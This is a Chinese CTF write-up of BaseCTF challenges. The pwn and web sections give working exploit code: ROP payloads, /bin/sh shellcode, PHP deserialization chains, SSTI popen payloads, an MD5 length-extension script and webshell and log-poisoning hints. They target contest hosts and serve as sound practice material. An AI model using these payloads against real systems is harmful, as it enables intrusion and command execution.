Week1
Crypto
hello_crypto
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# 已知的 key1 和密文
key1 = 208797759953288399620324890930572736628
ciphertext = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'
# 将 key1 转换为字节格式
key = long_to_bytes(key1)
# 创建 AES 解密器
my_aes = AES.new(key=key, mode=AES.MODE_ECB)
# 解密并去除填充
decrypted_data = unpad(my_aes.decrypt(ciphertext), AES.block_size)
# 打印解密后的数据
print(decrypted_data)
ez_rsa
from Crypto.Util.number import long_to_bytes, inverse
import gmpy2
# 已知的 n, not_phi 和 c
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
e = 65537
# Step 1: 从 n 和 not_phi 计算出 p 和 q
# p*q = n, (p+2)*(q+2) = not_phi
# 展开得到 pq + 2p + 2q + 4 = not_phi
# p + q = (not_phi - n - 4) / 2
s = (not_phi - n - 4) // 2
# 使用求解二次方程的方法解出 p 和 q
# x^2 - sx + n = 0
discriminant = gmpy2.isqrt(s*s - 4*n)
p = (s + discriminant) // 2
q = (s - discriminant) // 2
# Step 2: 计算 φ(n)
phi = (p - 1) * (q - 1)
# Step 3: 计算私钥 d
d = inverse(e, phi)
# Step 4: 解密密文
m = pow(c, d, n)
# Step 5: 将解密的数字转换为字符串
decrypted_message = long_to_bytes(m)
# 打印解密后的数据
print(decrypted_message)
你会算md5吗
import hashlib
# Helper function to compute MD5 hash of a string
def md5_hash(text):
return hashlib.md5(text.encode()).hexdigest()
# Possible characters
possible_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/"
# Given hashes
hashes = [
'9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661',
'03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32',
'0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3',
'800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506',
'0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c',
'92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7',
'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3',
'0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5',
'336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3',
'8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7',
'45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327',
'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543',
'1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c',
'336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f',
'8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661',
'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327',
'0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7',
'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32',
'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c',
'8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f',
'45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661',
'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661',
'cbb184dd8e05c9709e5dcaedaa0495cf'
]
# Find corresponding characters
decoded_flag = ''
for hash_val in hashes:
found = False
for char in possible_chars:
if md5_hash(char) == hash_val:
decoded_flag += char
found = True
break
if not found:
decoded_flag += '?' # Use a placeholder if hash not found
print(f"Decoded flag: {decoded_flag}")
十七倍
#include <stdio.h>
int main() {
unsigned char cipher[] = {
98, 113, 163, 181, 115, 148, 166, 43, 9, 95,
165, 146, 79, 115, 146, 233, 112, 180, 48, 79,
65, 181, 113, 146, 46, 249, 78, 183, 79, 133,
180, 113, 146, 148, 163, 79, 78, 48, 231, 77
};
unsigned char flag[40];
unsigned char inverse = 241; // 17's modular inverse modulo 256
for (int i = 0; i < 40; i++) {
flag[i] = (cipher[i] * inverse) % 256;
}
// Print the decrypted flag
printf("Decrypted flag: ");
for (int i = 0; i < 40; i++) {
printf("%c", flag[i]);
}
printf("\n");
return 0;
}
babypack
from Crypto.Util.number import long_to_bytes
# 从文件中读取a和c的值
with open('D:\\谷歌\\babypack\\output.txt', 'r') as f:
lines = f.readlines()
a = eval(lines[0].strip().split('=')[1])
c = int(lines[1].strip().split('=')[1])
bin_m = []
for i in range(len(a)):
if c >= a[i]:
bin_m.append('1')
c -= a[i]
else:
bin_m.append('0')
# 将bin_m转换回整数m
m = int(''.join(bin_m), 2)
# 将m转换回flag
flag = long_to_bytes(m)
print(flag)
Re
You are good at IDA
按照shift和f12进行查找最后拼接就行了
BaseCTF{Y0u_4Re_900d_47_id4}
UPX mini
QmFzZUNURntIYXYzX0BfZzBvZF90MW0zISEhfQ==
base64解密
BaseCTF{Hav3_@_g0od_t1m3!!!}
ez_maze
from collections import deque
def find_path(maze, start_pos, end_pos):
ROWS = len(maze)
COLS = len(maze[0])
def move(pos, direction):
x, y = divmod(pos, COLS)
if direction == 'd': # Right
return pos + 1
elif direction == 's': # Down
return pos + COLS
elif direction == 'w': # Up
return pos - COLS
elif direction == 'a': # Left
return pos - 1
return pos
def is_valid(pos):
if pos < 0 or pos >= ROWS * COLS:
return False
x, y = divmod(pos, COLS)
return maze[x][y] != '$'
queue = deque([(start_pos, '')])
visited = set()
visited.add(start_pos)
while queue:
current_pos, path = queue.popleft()
if current_pos == end_pos:
return path
for direction in 'dsaw':
new_pos = move(current_pos, direction)
if is_valid(new_pos) and new_pos not in visited:
visited.add(new_pos)
queue.append((new_pos, path + direction))
return None
# 迷宫初始化
maze = [
"x$$$$$$$$$$$$$$",
"&&&&&&$$$$$$$$$",
"&$&$$&$$&&&&&$$",
"&$&$$$&&$$$$&$$",
"&$$$&&&$$$$$&$$",
"&$$$&$&&$&$$$$$",
"&$$$&$&$$&&&$$$",
"&&&&&$&&&&$&$$$",
"$$$$$$&&&&&&$$$",
"$$$$$$&$$$$$$$$",
"$$$&&&&$$&&&$$$",
"$$$&&&&&&&$$$$$",
"$$$$$$$$$&$$&$$",
"$$$$$$$$$&$&$$$",
"$$$$$$&&&&&&&&y"
]
# 将迷宫数据转换为一维列表
ROWS = 15
COLS = 15
maze_1d = ''.join(maze)
# 起点和终点
START = 0
END = (ROWS - 1) * COLS + (COLS - 1) # 最后一行最后一列的位置
# 查找路径
path = find_path([maze_1d[i * COLS:(i + 1) * COLS] for i in range(ROWS)], START, END)
if path:
print(f"找到的路径:{path}")
else:
print("没有找到路径")
最后进行MD5加密就行
BasePlus
import base64
# Secret array used in encoding
Secret = '/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC'
def decode(encoded_str):
decoded_str = ""
# Step 1: XOR each character with 0xE to undo the XOR applied during encoding
xor_str = "".join(chr(ord(char) ^ 0xE) for char in encoded_str)
# Process the string in chunks of 4 characters
for i in range(0, len(xor_str), 4):
enc_chunk = xor_str[i:i+4]
try:
# Reverse the Base64-like encoding using the Secret array
v15 = (Secret.index(enc_chunk[0]) << 2) | (Secret.index(enc_chunk[1]) >> 4)
v16 = ((Secret.index(enc_chunk[1]) & 0xF) << 4) | (Secret.index(enc_chunk[2]) >> 2)
v17 = ((Secret.index(enc_chunk[2]) & 0x3) << 6) | Secret.index(enc_chunk[3])
# Reconstruct the original characters
decoded_str += chr(v15)
if v16 != 0:
decoded_str += chr(v16)
if v17 != 0:
decoded_str += chr(v17)
except ValueError as e:
print(f"Error processing chunk: {enc_chunk} - {e}")
return None
return decoded_str
# Example usage
encoded_str = "lvfzBiZiOw7<lhF8dDOfEbmI]i@bdcZfEc^z>aD!"
decoded_str = decode(encoded_str)
if decoded_str is not None:
print(f"Decoded string: {decoded_str}")
else:
print("Decoding failed due to an error.")
Ez Xor
import struct
def key_stream(key, length):
"""生成与输入数据长度相同的key stream"""
return bytes([i ^ key[i % len(key)] for i in range(length)])
def encrypt_decrypt(data, key_stream):
"""对数据进行加密/解密操作"""
return bytes([data[i] ^ key_stream[len(data) - i - 1] for i in range(len(data))])
def attempt_decryption(encrypted_data, key):
"""尝试用给定的key解密数据"""
key_stream_data = key_stream(key, len(encrypted_data))
decrypted = encrypt_decrypt(encrypted_data, key_stream_data)
try:
flag = decrypted.decode('ascii')
if flag.startswith("Base"):
return flag, "可能的flag"
else:
return flag, "解密结果"
except UnicodeDecodeError:
return decrypted.hex(), "无法解码为ASCII,十六进制结果"
def main():
encrypted_flag = (
b'\x01\x09\x05\x25\x26\x2D\x0B\x1D'
b'\x24\x7A\x31\x20\x1E\x49\x3D\x67'
b'\x4D\x50\x08\x25\x2E\x6E\x05\x34'
b'\x22\x40\x3B\x25'
)
key_value = 7499608
# 定义不同格式的key
keys = [
struct.pack('<I', key_value), # 小端 32 位
struct.pack('>I', key_value), # 大端 32 位
struct.pack('<I', key_value)[:3], # 小端 24 位
struct.pack('>I', key_value)[1:], # 大端 24 位
]
for i, key in enumerate(keys):
print(f"\n尝试 key {i + 1}: {key.hex()}")
result, status = attempt_decryption(encrypted_flag, key)
print(f"{status}: {result}")
if __name__ == "__main__":
main()
Pwn
签个到吧
from pwn import *
# 设置连接信息
host = 'challenge.basectf.fun'
port = 33292
# 连接到远程服务
p = remote(host, port)
# 发送和接收数据
p.sendline(b'cat /flag')
response = p.recvline()
print(response.decode())
# 继续其他的交互操作
# 关闭连接
p.close()
echo
from pwn import *
# 设置连接信息
host = 'challenge.basectf.fun'
port = 40511
# 连接到远程服务
p = remote(host, port)
# 尝试使用 echo 和 bash 的 < 操作符读取文件
p.sendline(b'echo $(</flag)')
response = p.recvline()
print(response.decode())
# 关闭连接
p.close()
我把她丢了
填充使其溢出调用到bin/sh,就可以了
from pwn import *
p = remote("challenge.basectf.fun", 49516)
#system_plt=elf.plt["system"]
pop_rdi_ret=0x0000000000401196
main=0x000000000040124B
payload=0x78*b'a'+p64(pop_rdi_ret)+p64(0x0000000000402008)+p64(0x000000000040120F)+p64(main)
#寄存器地址->bin/sh调用到system最后进入main
p.sendline(payload)
# 进入交互模式
p.interactive()
Re2text
from pwn import *
# 连接到远程服务
p = remote("challenge.basectf.fun", 30147)
# 构造 payload
payload = b'a' * 0x28+p64(0x40101A)+p64(0x4011a4) # 填充缓冲区
# 发送 payload
p.sendline(payload)
# 进入交互模式
p.interactive()
shellcode_level0
from pwn import *
# 连接到远程服务
p = remote('challenge.basectf.fun', 49846)
# Shellcode 是一段二进制代码,可以直接在内存中执行。这个 shellcode 会启动一个 /bin/sh shell。
shellcode = (
b"\x48\x31\xc0" # xor rax, rax ; 清空 rax 寄存器 (rax = 0)
b"\x50" # push rax ; 将 rax (0) 压入栈,作为 NULL 终止符
b"\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" # mov rbx, 0x68732f2f6e69622f ; 将 "/bin//sh" 存入 rbx
b"\x53" # push rbx ; 将 rbx ("/bin//sh") 压入栈
b"\x48\x89\xe7" # mov rdi, rsp ; 将栈指针 rsp 的值赋给 rdi,现在 rdi 指向 "/bin//sh"
b"\x48\x31\xf6" # xor rsi, rsi ; 清空 rsi 寄存器 (rsi = 0),表示 NULL
b"\x48\x31\xd2" # xor rdx, rdx ; 清空 rdx 寄存器 (rdx = 0),表示 NULL
b"\x48\x31\xc0" # xor rax, rax ; 清空 rax 寄存器 (rax = 0)
b"\xb0\x3b" # mov al, 0x3b ; 将 0x3b (59) 赋给 al 寄存器,59 是 execve 的系统调用号
b"\x0f\x05" # syscall ; 触发系统调用,执行 execve("/bin/sh", NULL, NULL)
)
p.sendline(shellcode)
p.interactive()
web
HTTP 是什么呀
?basectf=we1c%2500me
Base=fl@g



base解密得到flag
喵喵喵´•ﻌ•`

md5绕过欸

A Dark Room
直接查看源码得到flag
upload
上传一句话木马,观看源码在uploads/,直接上传php即可
Aura 酱的礼物
混了个二血😋
前两个一个是php伪协议,一个直接输入
第三个
我是用的是@进行重定向,然后用我自己的vps开个端口进行拼接就行(理论上不需要这么复杂,只是最先想到这个办法

最后进行伪协议读取flag
// flag{c985afc7-50f1-44e5-87f0-221d081b9459} Aura 酱有拿到一血吗?
Misc
你也喜欢圣物吗
打开下来先用010打开图片看,底部有个base64的编码
提示去看LSB
利用stegsolve进行分析,得到key
解开第一层压缩包
第二层伪加密工具进行解密,打开进去滑到下面有个真的flag
根本进不去啊!

dig的命令是进行域信息搜索器,找txt得到flag
海上遇到了鲨鱼
利用wireshark打开,http找到php,里面有flag,进行简单的反转得到flag
正着看还是反着看呢?
利用python读取图片文件,然后反转图片进行逆向
将文件拖到虚拟机,进行foremost,里面有压缩包解压得到flag
Base
直接64,32进行解密
签到!DK 盾!
直接公众号发送就行
人生苦短,我用Python
其他部分都可以看着推,我这边放一下推算15的情况
import itertools
# 目标值
target_value = 41378751114180610
# 我们已知的 flag 结构
flag = 'BaseCTF{s1Mpl3_1s_l1Tt3r_Th4n_C0mPl3x}'
# 定义我们将尝试的字符集
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
# 计算函数
def calculate_sum(chars):
return sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(chars))
# 生成所有可能的组合并测试
for combo in itertools.product(charset, repeat=3):
candidate = ''.join(combo)
if calculate_sum(candidate) == target_value:
# 找到符合条件的组合,更新 flag
flag = flag[:17] + candidate + flag[20:]
print(f"Found correct sequence: {candidate}")
print(f"Correct flag: {flag}")
break
else:
print("No valid sequence found.")
#得到flagimport itertools
# 目标值
target_value = 41378751114180610
# 我们已知的 flag 结构
flag = 'BaseCTF{s1Mpl3_1s_l1Tt3r_Th4n_C0mPl3x}'
# 定义我们将尝试的字符集
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
# 计算函数
def calculate_sum(chars):
return sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(chars))
# 生成所有可能的组合并测试
for combo in itertools.product(charset, repeat=3):
candidate = ''.join(combo)
if calculate_sum(candidate) == target_value:
# 找到符合条件的组合,更新 flag
flag = flag[:17] + candidate + flag[20:]
print(f"Found correct sequence: {candidate}")
print(f"Correct flag: {flag}")
break
else:
print("No valid sequence found.")
#BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}
倒计时?海报!
配合stegsolve即可正确食用,一开始一直没写听说废眼,真正做的话十分钟以内估计就解决了附上各个对应的截图

BaseCTF{c0unt_d0wn_fro3_X_every_d@y_i5_re@11y_c0o1_@nd_h@rd_t0_do_1t_ev3ry_n1ght}
喵喵太可爱了
跟着幸运儿拿的flag
BaseCTF{m1a0_mi@o_1s_n0t_a_b3tr4yer_t0_t3l1_the_f1ag}
week2(以后只写web了,orz)
web
ez_ser
<?php
highlight_file(__FILE__);
error_reporting(0);
class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}
public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}
public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>
构造exp
$exp = new web;
$exp->kw = new re;
$exp->kw->chu0 = new pwn;
$exp->kw->chu0->over = new Misc;
echo urlencode(serialize($exp));
一起吃豆豆
不能直接f12,可以用浏览器的开发者工具打开f12,看js代码
context.fillText(_LIFE ? atob("QmFzZUNURntKNV9nYW0zXzFzX2Vhc3lfdDBfaDRjayEhfQ==") : 'GAME OVER', this.x, this.y);
base64解一下就出来了
Happy Birthday
尝试了一下发现要传pdf格式并且需要文件相同,可以参考我php绕过那篇文章,利用fastcoll.exe生成两个文件,得到flag
你听不到我的声音
这题考察的是这个函数没有直接的回显,可以重定向,利用>得到flag
cmd=cat /flag>1.txt
Really EZ POP
<?php
highlight_file(__FILE__);
class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct()
{
echo $this->sea->see;
}
}
if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}
构造exp
$exp = new Nature;
$exp->sea = new Sea;
$exp->sea->see = new Sink;
echo urlencode(serialize($exp));
RCEisamazingwithspace
过滤了空格,用常见的空格绕过就行
网上搜搜就行了,没什么好说的
数学大师
本体唯一的写脚本难度就是代码逻辑问题,本人写错的原因就是因为post了两次导致一直重复发包始终分数为1,就直接上exp了
import requests
import re
url = 'http://challenge.basectf.fun:29992/'
session = requests.Session()
session.cookies.set('PHPSESSID', '7ovv17kbkuh5f6pr1d2tbk07qt')
response = session.post(url)
math = re.search(r'second (\d+.+?)\?', response.text)
math = math.group(1).strip()
math = math.replace('÷', '//').replace('×', '*')
answer = eval(math)
for i in range(51):
post_data = {'answer': answer}
post_response = session.post(url, data=post_data)
math = re.search(r'second (\d+.+?)\?', post_response.text)
math = math.group(1).strip()
math = math.replace('÷', '//').replace('×', '*')
answer = eval(math)
print(post_response.text)
所以你说你懂 MD5?
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?
$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}
// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}
// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}
// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}
// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';
$name = $_POST['name'] ?? 'user';
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}
// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');
第一层正常的数组绕过
apple[]=1&banana[]=2
第二层和第三层都强制转string了,可以利用到fastcoll来获得内容进行绕过,这里我直接用网上的了
appple=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&bananana=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2&apppple=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&banananana=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
最后一层已知$random的MD5值,可以控制name和md5的值,求等式进行绕过,通过了解知道是MD5长度拓展攻击
先前一直在找hashpump的一直不好用现在贴一个比较好用的脚本
from struct import pack, unpack
from math import floor, sin
"""
MD5 Extension Attack
====================
@refs
https://github.com/shellfeel/hash-ext-attack
"""
class MD5:
def __init__(self):
self.A, self.B, self.C, self.D = \
(0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476) # initial values
self.r: list[int] = \
[7, 12, 17, 22] * 4 + [5, 9, 14, 20] * 4 + \
[4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4 # shift values
self.k: list[int] = \
[floor(abs(sin(i + 1)) * pow(2, 32))
for i in range(64)] # constants
def _lrot(self, x: int, n: int) -> int:
# left rotate
return (x << n) | (x >> 32 - n)
def update(self, chunk: bytes) -> None:
# update the hash for a chunk of data (64 bytes)
w = list(unpack('<'+'I'*16, chunk))
a, b, c, d = self.A, self.B, self.C, self.D
for i in range(64):
if i < 16:
f = (b & c) | ((~b) & d)
flag = i
elif i < 32:
f = (b & d) | (c & (~d))
flag = (5 * i + 1) % 16
elif i < 48:
f = (b ^ c ^ d)
flag = (3 * i + 5) % 16
else:
f = c ^ (b | (~d))
flag = (7 * i) % 16
tmp = b + \
self._lrot((a + f + self.k[i] + w[flag])
& 0xffffffff, self.r[i])
a, b, c, d = d, tmp & 0xffffffff, b, c
self.A = (self.A + a) & 0xffffffff
self.B = (self.B + b) & 0xffffffff
self.C = (self.C + c) & 0xffffffff
self.D = (self.D + d) & 0xffffffff
def extend(self, msg: bytes) -> None:
# extend the hash with a new message (padded)
assert len(msg) % 64 == 0
for i in range(0, len(msg), 64):
self.update(msg[i:i + 64])
def padding(self, msg: bytes) -> bytes:
# pad the message
length = pack('<Q', len(msg) * 8)
msg += b'\x80'
msg += b'\x00' * ((56 - len(msg)) % 64)
msg += length
return msg
def digest(self) -> bytes:
# return the hash
return pack('<IIII', self.A, self.B, self.C, self.D)
def verify_md5(test_string: bytes) -> None:
# (DEBUG function) verify the MD5 implementation
from hashlib import md5 as md5_hashlib
def md5_manual(msg: bytes) -> bytes:
md5 = MD5()
md5.extend(md5.padding(msg))
return md5.digest()
manual_result = md5_manual(test_string).hex()
hashlib_result = md5_hashlib(test_string).hexdigest()
assert manual_result == hashlib_result, "Test failed!"
def attack(message_len: int, known_hash: str,
append_str: bytes) -> tuple:
# MD5 extension attack
md5 = MD5()
previous_text = md5.padding(b"*" * message_len)
current_text = previous_text + append_str
md5.A, md5.B, md5.C, md5.D = unpack("<IIII", bytes.fromhex(known_hash))
md5.extend(md5.padding(current_text)[len(previous_text):])
return current_text[message_len:], md5.digest().hex()
if __name__ == '__main__':
message_len = int(input("[>] Input known text length: "))
known_hash = input("[>] Input known hash: ").strip()
append_text = input("[>] Input append text: ").strip().encode()
print("[*] Attacking...")
extend_str, final_hash = attack(message_len, known_hash, append_text)
from urllib.parse import quote
from base64 import b64encode
print("[+] Extend text:", extend_str)
print("[+] Extend text (URL encoded):", quote(extend_str))
print("[+] Extend text (Base64):", b64encode(extend_str).decode())
print("[+] Final hash:", final_hash)
通过对源码的分析得知random的长度应该是96

然后填入就好了

week3
web
ez_php_jail
这题搜一下其实挺有意思的,应该是从这篇文章进行微调出的题目,ringzer0 CTF - Jail Escaping PHP,具体应该是对应level4的那个题目
打开查看源码进行base64解密,进入可以查看phpinfo(),得到了php版本是7.4,以及一些disable_functions
直接利用文章构造payload,其外根据php特性,在php小于8的情况下_是直接转化成.可以利用[进行绕过
?Jail[by.Happy=highlight_file(glob("/f*")[0]);
复读机
有过滤的,手测一下
{{ + - * }} " : \ / __ .,接下来就是正常的RCE就行了
BaseCTF{%print(''['_''_cla''ss_''_']['_''_m''ro_''_'][1]['_''_subcl''asses_''_']()[137])%}
可以利用BaseCTF<class 'os._wrap_close'>
BaseCTF{%print(''['_''_cla''ss_''_']['_''_m''ro_''_'][1]['_''_subcl''asses_''_']()[137]['_''_in''it_''_']['_''_gl''obals_''_']['po''pen']('env')['re''ad']())%}
看看环境,已知不能使用/,可以切换根目录再读取
BaseCTF{%print(''['_''_cla''ss_''_']['_''_m''ro_''_'][1]['_''_subcl''asses_''_']()[137]['_''_in''it_''_']['_''_gl''obals_''_']['po''pen']('cd $OLDPWD;cat flag')['re''ad']())%}
滤个不停
这题和ctfshow的web4基本差不多,一开始我以为要从伪协议入手,还是要求的是服务器日志,用的是Nginx,存放在/var/log/nginx/access.log里面,让Datch赋值这个,然后在UA头里写马就行了

玩原神玩的
这题其实还是能研究很多的,我写代码的能力一直挺一般的,这个还是稍微考究一些
<?php
highlight_file(__FILE__);
error_reporting(0);
include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}
function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}
function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}
echo json_encode($flag);
}
先看第一层写脚本爆
import requests
url = 'http://challenge.basectf.fun:23955/'
ans = None
for i in range(1, 100):
payload = {f'len[{j}]': '0' for j in range(i)}
response = requests.post(url, data=payload)
print(response.text.splitlines()[-1])
last_line = response.text.splitlines()[-1]
if "我不管,我要玩原神!😭😭😭" in last_line:
print(f'Success with {i} parameters!')
ans = i
break
if ans:
payload_str = '&'.join([f'len[{j}]=0' for j in range(ans)])
print(payload_str)
第二层输入?tip=我要玩原神
第三层直接输入需要url编码
